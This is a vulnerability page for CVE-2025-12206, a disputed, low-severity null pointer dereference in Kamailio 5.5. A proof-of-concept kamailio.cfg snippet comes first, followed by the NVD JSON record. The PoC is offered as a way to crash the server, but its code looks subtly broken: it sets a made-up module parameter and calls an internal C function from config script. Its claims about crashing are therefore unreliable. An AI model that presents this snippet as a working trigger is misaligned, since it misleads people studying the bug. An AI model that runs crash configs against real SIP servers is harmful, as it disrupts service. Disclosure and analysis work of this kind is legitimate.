CVE-2025-12206

// PoC for CVE-2025-12206 Kamailio rve_is_constant Null Pointer Dereference // This PoC demonstrates triggering the vulnerability through malformed configuration // kamailio.cfg PoC snippet - triggers null pointer dereference in rve_is_constant() modparam("pv", "xxx", "$null") request_route { # Trigger the vulnerable code path if ($ru != "") { # This specific pattern causes rve_is_constant to dereference null pointer $var(test) = $sel(cfg_get.pv.xxx); xlog("L_INFO", "Test: $var(test)\n"); } route(RELAY); } // Alternative trigger method via route block manipulation route[trigger_vuln] { # Create condition that leads to null pointer access if (rve_is_constant("$null")) { xlog("L_ERR", "This path leads to null pointer dereference\n"); } } // To test: compile Kamailio 5.5 with debug symbols and run under gdb: // 1. Load the above configuration // 2. Send a SIP INVITE request // 3. Observe crash in rve_is_constant at src/core/rvalue.c

{"cve": {"id": "CVE-2025-12206", "sourceIdentifier": "[email protected]", "published": "2025-10-27T03:15:49.750", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "A flaw has been found in Kamailio 5.5. The impacted element is the function rve_is_constant of the file src/core/rvalue.c. This manipulation causes null pointer dereference. The attack needs to be launched locally. The exploit has been published and may be used. It is still unclear if this vulnerability genuinely exists. This attack requires manipulating config files which might not be a realistic scenario in many cases. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-476"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kamailio:kamailio:5.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F943D79-8040-4E2D-AEBB-CACF52099921"}]}]}], "references": [{"url": "https://shimo.im/docs/aBAYMVMB2jUP9jAj/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329876", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329876", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.673240", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.openwall.com/lists/oss-security/2025/11/02/3", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/27/12", "source": "af854a3a-2 ... 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